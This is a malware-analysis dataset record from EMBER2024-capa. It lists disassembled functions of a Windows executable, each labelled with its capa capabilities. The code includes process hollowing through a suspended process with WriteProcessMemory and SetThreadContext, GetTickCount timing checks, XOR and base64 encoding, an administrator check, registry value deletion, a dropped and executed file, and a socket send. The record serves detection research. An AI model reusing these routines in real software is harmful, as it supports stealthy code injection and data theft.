joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd96ba7
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
push ecx
push ecx
push dword [0xda30ac]
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
or eax, eax
je 0xd96bc0
sub eax, eax
leave
ret
push esi
lea eax, [ebp - 4]
push eax
sub esi, esi
push esi
call dword [0xda30ac]
pop ecx
pop ecx
or eax, eax
je 0xd96bdb
xor eax, eax
jmp 0xd96c6c
push ebx
push dword [ebp - 4]
call fcn.00d9ebcc
push eax
pop ebx
pop ecx
cmp ebx, esi
je 0xd96c03
lea eax, [ebp - 4]
push eax
push ebx
call dword [0xda30ac]
pop ecx
pop ecx
test eax, eax
je 0xd96c07
push ebx
call fcn.00d9ec2e
pop ecx
sub eax, eax
jmp 0xd96c6b
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0xd96c34
push ebx
call fcn.00d9ec2e
sub eax, eax
jmp 0xd96c69
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
or eax, eax
jne 0xd96c5a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0xd96c2a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00d9ec2e
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop ebx
pop esi
leave
ret

Function at 0xd96c6f
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
push 7
sub ecx, ecx
mov eax, edx
pop esi
push edx
pop edi
and edi, 0xf
xor ecx, edi
shr edx, 4
dec esi
jne 0xd96c7c
and eax, 0xfffffff
shl ecx, 0x1c
pop edi
or eax, ecx
pop esi
ret

Function at 0xd96c96
Capabilities:
Encode data using xor

Disassembly:
push 8
sub eax, eax
pop ecx
mov edx, dword [esp + 4]
shr dword [esp + 4], 4
and edx, 0xf
xor eax, edx
dec ecx
jne 0xd96c9b
ret

Function at 0xd96cc9
Capabilities:
Get common file path

Disassembly:
cmp byte [0xda2e08], 0
push edi
mov edi, 0xda2e08
jne 0xd96dbe
push esi
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
test eax, eax
je 0xd96d12
push esi
push edi
call eax
test eax, eax
je 0xd96d12
cmp byte [0xda2e08], 0
jne 0xd96d99
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or eax, eax
je 0xd96d27
cmp byte [0xda2e08], 0
jne 0xd96d99
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, 0xe4
mov esi, 0xda22f8
lea ebp, [ebx + 0x1c]
or eax, eax
je 0xd96d4b
cmp byte [0xda2e08], 0
jne 0xd96d71
push 0xc8
push ebx
push 0xb
push 0xda0664
push esi
call fcn.00d92544
push eax
push edi
call fcn.00d9ef00
push ebp
push 0
push esi
call fcn.00d9ee2a
add esp, 0x28
push 0xc8
push ebx
push 0xb
push 0xda0658
push esi
call fcn.00d92544
push eax
push edi
call fcn.00d9ef1e
push ebp
push 0
push esi
call fcn.00d9ee2a
add esp, 0x28
pop ebp
pop ebx
push edi
pop eax
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0xd96d9f
sub eax, ecx
cmp byte [eax + 0xda2e07], 0x5c
je 0xd96dbe
mov byte [eax + 0xda2e08], 0x5c
mov byte [eax + 0xda2e09], dl
mov eax, edi
pop edi
ret
Function at 0xd96dc2
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [0xda2f0c]
sub esp, 0x104
push ebx
sub ebx, ebx
cmp eax, ebx
jne 0xd96e33
call fcn.00d96cc9
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00d9ef00
pop ecx
lea eax, [ebp - 0x104]
pop ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0xd96df4
sub eax, edx
cmp eax, 3
jb 0xd96e24
push ebx
push ebx
push ebx
push ebx
push 0xda2f0c
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
mov byte [ebp - 0x101], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
or eax, eax
jne 0xd96e2e
mov dword [0xda2f0c], 0x55555555
mov eax, dword [0xda2f0c]
pop ebx
leave
ret

Function at 0xd96e36
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x358]
push eax
or esi, 0xffffffff
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0xd96ebe
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
mov dword [ebp - 4], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
or eax, eax
je 0xd96ebe
cmp dword [ebp - 4], 0xc
jb 0xd96ebb
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp + 8]
jne 0xd96ebb
mov eax, dword [ebp + 0xc]
test eax, eax
je 0xd96eb7
cmp dword [ebp - 4], 0x1c
jb 0xd96ebb
cmp dword [ebp - 0x38], eax
jne 0xd96ebb
xor esi, esi
jmp 0xd96ebe
sub esi, esi
inc esi
push esi
pop eax
pop esi
leave
ret

Function at 0xd96edd
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xda2048]
sub esp, 0x10
push ebx
xor ebx, ebx
cmp eax, ebx
jge 0xd96f5c
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0xd96f44
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0xd96f3b
sub eax, eax
cmp dword [ebp - 4], ebx
sete al
mov dword [0xda2048], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [0xda2048]
cmp eax, ebx
je 0xd96f5c
push ebx
push 0x12
call fcn.00d96e36
pop ecx
pop ecx
mov dword [0xda2048], eax
pop ebx
leave
ret
Function at 0xd96f5f
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0xd97047
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0xd96f8d
sub eax, edx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
mov dword [ebp + 8], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
or eax, eax
je 0xd97025
mov eax, dword [ebp + 0xc]
add eax, esi
push 0xda0690
push eax
call fcn.00d9ef00
inc dword [ebp + 0xc]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidA
or eax, eax
je 0xd97025
mov eax, dword [ebp - 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0xd96ff7
sub eax, ecx
mov dword [ebp + 8], eax
inc eax
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
add eax, esi
push eax
call fcn.00d9ee08
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], eax
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.00d96edd
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0xda068c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
jmp 0xd97049
xor eax, eax
pop esi
leave
ret
Function at 0xd980c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x134
push ebx
sub ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
mov dword [0xda2c3c], ebx
mov dword [0xda2c38], ebx
call fcn.00d96ec3
test eax, eax
jne 0xd980f9
call fcn.00d97ee6
jmp 0xd98225
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push 0xda0264
call fcn.00d9704c
add esp, 0x14
or eax, eax
jle 0xd98225
cmp byte [ebp - 0x134], bl
je 0xd98225
cmp byte [ebp - 0x30], bl
je 0xd98225
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xda06ac
mov edi, 0xda22f8
push edi
call fcn.00d92544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd98216
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
or eax, eax
jne 0xd981f7
cmp dword [ebp - 0xc], 1
jne 0xd981f7
cmp dword [ebp - 4], ebx
jbe 0xd981f7
push dword [ebp - 4]
call fcn.00d9ebcc
pop ecx
mov dword [0xda2c3c], eax
cmp eax, ebx
je 0xd9820d
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
or eax, eax
jne 0xd981f7
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0xd981cd
sub eax, edx
inc eax
push eax
call fcn.00d9ebcc
pop ecx
mov dword [0xda2c38], eax
cmp eax, ebx
je 0xd9820d
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.00d9ef00
pop ecx
jmp 0xd9820c
mov eax, dword [0xda2c3c]
cmp eax, ebx
je 0xd9820d
push eax
call fcn.00d9ec2e
mov dword [0xda2c3c], ebx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push edi
call fcn.00d9ee2a
add esp, 0xc
cmp byte [str.C:WINDOWSSysWOW64zlimcunomhhokwme.exe], bl
je 0xd9826c
cmp dword [0xda21a4], ebx
jne 0xd9826c
push ebx
lea eax, [ebp - 0x10]
push eax
push str.C:WINDOWSSysWOW64zlimcunomhhokwme.exe
call fcn.00d9675c
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0xd9826c
mov esi, dword [ebp - 0x10]
push ebx
push esi
push edi
call fcn.00d924c2
push edi
mov dword [0xda22d4], eax
mov dword [0xda21a4], esi
call fcn.00d9ec2e
add esp, 0x10
pop edi
sub eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0xd98cee
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [0xda3380], ebx
je 0xd98dae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0xda3388]
cmp eax, 0xea60
jb 0xd98dae
push esi
push edi
mov edi, dword [0xda3380]
movsx eax, byte [edi]
mov esi, dword [edi + 1]
add edi, 5
mov dword [ebp - 8], eax
or eax, eax
jle 0xd98da1
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov cl, byte [eax]
cmp cl, 8
jne 0xd98d4d
push esi
pop eax
sar eax, cl
and eax, 1
push eax
call fcn.00d9a677
jmp 0xd98d5f
cmp cl, 9
jne 0xd98d6c
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.00d9a688
pop ecx
test eax, eax
je 0xd98d7f
mov eax, dword [ebp - 4]
or esi, dword [eax + 1]
jmp 0xd98d7f
movsx ecx, cl
mov eax, dword [ecx*4 + 0xda3300]
or eax, eax
je 0xd98d7f
cmp ecx, dword [eax + 0x34]
je 0xd98d8b
add dword [ebp - 4], 5
inc ebx
cmp ebx, dword [ebp - 8]
jl 0xd98d34
jmp 0xd98da1
mov eax, dword [eax + 0x50]
or eax, eax
je 0xd98da1
imul ebx, ebx, 5
mov cl, byte [ebx + edi]
sar esi, cl
and esi, 1
push esi
call eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
mov dword [0xda3388], eax
pop esi
pop ebx
leave
ret

Function at 0xd98f53
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
mov dl, 0xc6
cmp esi, edi
jae 0xd98f84
push ebx
mov al, byte [esi]
movzx ecx, al
push ecx
pop ebx
shr ebx, 3
shl cl, 5
or bl, cl
xor bl, dl
xor al, 0xc6
mov byte [esi], bl
inc esi
mov dl, al
cmp esi, edi
jb 0xd98f67
pop ebx
pop edi
pop esi
ret

Function at 0xd99064
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x404
push esi
push edi
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x404]
push eax
call fcn.00d98274
pop ecx
call fcn.00d9eca5
push 9
pop esi
xor edx, edx
push esi
pop ecx
div ecx
push edx
call fcn.00d9eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.00d9eca5
sub edx, edx
mov ecx, esi
div ecx
push edx
call fcn.00d9eca5
sub edx, edx
div esi
lea eax, [ebp - 0x404]
mov esi, 0xda22f8
push edx
push eax
push 0xc8
push 0xe4
push 0xf
push 0xda0794
push esi
call fcn.00d92544
add esp, 0x14
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
xor edi, edi
push edi
push esi
call fcn.00d9ee2a
add esp, 0x28
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
jbe 0xd9913f
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0xd99141
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0xd99145
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
sub edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
lea eax, [ebp - 0x104]
push eax
push eax
push 0xc8
push 0xe4
push 0x66
push 0xda07a8
mov esi, 0xda22f8
push esi
call fcn.00d92544
add esp, 0x14
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
push edi
push esi
call fcn.00d9ee2a
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.00d99064
add esp, 0x24
test eax, eax
je 0xd991e7
push edi
push edi
push edi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
leave
ret

Function at 0xd991eb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi], 0
mov dword [ebp - 4], 0x10
je 0xd99308
push 0xd
push edi
call fcn.00d9ed03
push eax
pop ebx
pop ecx
pop ecx
or ebx, ebx
jne 0xd9923f
push 0xa
push edi
call fcn.00d9ed03
push eax
pop ebx
pop ecx
pop ecx
or ebx, ebx
jne 0xd9923f
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0xd99233
sub eax, edx
lea ebx, [eax + edi]
mov esi, ebx
sub esi, edi
cmp esi, 0x200
jb 0xd99250
mov esi, 0x1ff
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.00d9ee08
add esp, 0xc
mov byte [ebp + esi - 0x208], 0
cmp byte [ebp - 0x208], 0
je 0xd992dd
cmp byte [ebp - 0x208], 0x20
lea eax, [ebp - 0x208]
jne 0xd9929b
inc eax
cmp byte [eax], 0x20
je 0xd99281
jmp 0xd9929b
cmp cl, 0x22
je 0xd9929a
inc eax
mov cl, byte [eax]
test cl, cl
jne 0xd99289
cmp cl, 0x22
jne 0xd992a8
inc eax
cmp byte [eax], 0x22
je 0xd9928e
jmp 0xd992a8
cmp byte [eax], 0x20
je 0xd992b2
inc eax
cmp byte [eax], 0
jne 0xd992a2
cmp byte [eax], 0x20
jne 0xd992bd
mov byte [eax], 0
inc eax
cmp byte [eax], 0x20
je 0xd992b5
jmp 0xd992bf
sub eax, eax
sub ecx, ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 8], eax
cmp eax, 0x2a
jne 0xd99310
mov al, byte [ebx]
cmp al, 0xd
je 0xd992e7
cmp al, 0xa
jne 0xd992ea
inc ebx
jmp 0xd992dd
cmp byte [ebx], 0
mov edi, ebx
je 0xd992fc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp byte [ebx], 0
jne 0xd9920e
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
or ecx, 0x55010100
mov dword [0xda2180], ecx
mov dword [0xda217c], eax
jmp 0xd9930b
Function at 0xd996ff
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xc8
push ebx
lea edi, [ebx + 0x1c]
push edi
push 0x2e
push 0xda06ac
mov esi, 0xda22f8
push esi
call fcn.00d92544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0xd99765
push ebx
push edi
push 9
push 0xda06a0
push esi
call fcn.00d92544
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.00d9ee2a
add esp, 0xc
pop edi
pop esi
sub eax, eax
pop ebx
leave
ret

Function at 0xd9977c
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00d9ee2a
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
or eax, eax
jne 0xd997c2
sub eax, eax
jmp 0xd99864
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.00d9ee2a
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
or eax, eax
jne 0xd99801
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0xd997bb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push entry0
call fcn.00d9637c
add esp, 0x10
push esi
or eax, eax
je 0xd997f6
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
or eax, eax
je 0xd997f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0xd997f5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub eax, eax
inc eax
pop esi
leave
ret
Function at 0xd9a4c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push eax
pop ebp
add esi, 0x5c
jmp 0xd9a4f7
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0xd9a500
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
or eax, eax
jne 0xd9a4e4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0xd9a51d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
push esp
pop ebp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00d9a4c7
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0xd9a542
mov dword [ebp + 8], 0x1f4
jmp 0xd9a55d
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0xd9a54f
sub eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0xd9a55a
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
or ecx, ecx
jne 0xd9a574
mov dword [esi + 0x38], eax
jmp 0xd9a61d
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
or eax, eax
je 0xd9a590
add ecx, eax
jmp 0xd9a59b
cmp dword [ebp + 0xc], ecx
je 0xd9a59e
jge 0xd9a59a
dec ecx
jmp 0xd9a59b
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0xd9a61d
mov eax, dword [esi + 0x18]
push eax
pop ecx
sub ecx, dword [esi + 0x38]
push ecx
pop edi
jns 0xd9a5b2
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0xd9a61c
imul ecx, ecx, 0xa
push ecx
pop eax
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.00d9a505
push eax
pop ebx
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.00d9a505
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret
Function at 0xd9a6ca
Capabilities:
Encode data using base64

Disassembly:
push ebp
push esp
pop ebp
mov ecx, dword [ebp + 0x10]
push ebx
sub ebx, ebx
sub edx, edx
mov dword [ebp + 0x10], ecx
cmp dword [ebp + 0xc], ebx
jle 0xd9a794
mov al, byte [ebp + 0xf]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
sub edi, 0
je 0xd9a731
dec edi
je 0xd9a718
dec edi
jne 0xd9a73f
movzx edi, byte [esi]
movzx eax, al
shl eax, 2
shr edi, 6
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
inc ecx
and eax, 0x3f
jmp 0xd9a737
movzx edi, byte [esi]
movzx eax, al
shl eax, 4
shr edi, 4
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0xd9a73d
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
lea eax, [edx + 1]
cdq
push 3
pop edi
idiv edi
mov al, byte [esi]
inc ecx
inc esi
inc ebx
cmp ebx, dword [ebp + 0xc]
jl 0xd9a6e9
pop edi
pop esi
test edx, edx
jle 0xd9a794
movzx eax, al
cmp edx, 1
jne 0xd9a76e
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0xd9a778
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
sub edx, 0
je 0xd9a788
dec edx
je 0xd9a78c
dec edx
je 0xd9a790
jmp 0xd9a794
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
lea eax, [ecx + 1]
sub eax, dword [ebp + 0x10]
mov word [ecx], 0xa0d
inc eax
pop ebx
pop ebp
ret
Function at 0xd9c65c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
test byte [0xda3690], 1
push ebx
push esi
push edi
mov esi, 0x100000
jne 0xd9c683
or dword [0xda3690], 1
push esi
call fcn.00d9ebcc
pop ecx
mov dword [0xda368c], eax
test byte [0xda3690], 2
jne 0xd9c69f
or dword [0xda3690], 2
push esi
call fcn.00d9ebcc
pop ecx
mov dword [0xda3688], eax
push 0x19
push dword [ebp + 0x1c]
push dword [0xda3688]
call fcn.00d9ee08
mov eax, dword [0xda3688]
mov ebx, dword [ebp + 0x18]
add esp, 0xc
lea edi, [eax + 0xc]
push eax
pop esi
mov byte [edi], 0
cmp ebx, 0x800
jle 0xd9c6fb
mov ecx, dword [ebp + 0xc]
test byte [ecx + 0x8c], 1
je 0xd9c6fb
push dword [0xda368c]
add eax, 0x19
push ebx
push eax
push dword [ebp + 0x14]
mov byte [edi], 2
call fcn.00d922b9
add esp, 0x10
test eax, eax
jg 0xd9c6f7
sub eax, eax
jmp 0xd9c758
mov dword [esi], eax
jmp 0xd9c70d
push ebx
push dword [ebp + 0x14]
add eax, 0x19
push eax
call fcn.00d9ee08
add esp, 0xc
mov dword [esi], ebx
mov eax, dword [0xda3688]
push 0
push dword [esi]
add eax, 0x19
push eax
mov dword [esi + 4], ebx
call fcn.00d924c2
or byte [edi], 1
mov dword [esi + 8], eax
mov esi, dword [esi]
add esi, 0x19
push esi
push dword [0xda3688]
push dword [ebp + 0x10]
call fcn.00d99004
add esp, 0x18
push 0
push esi
push dword [0xda3688]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
sub eax, esi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret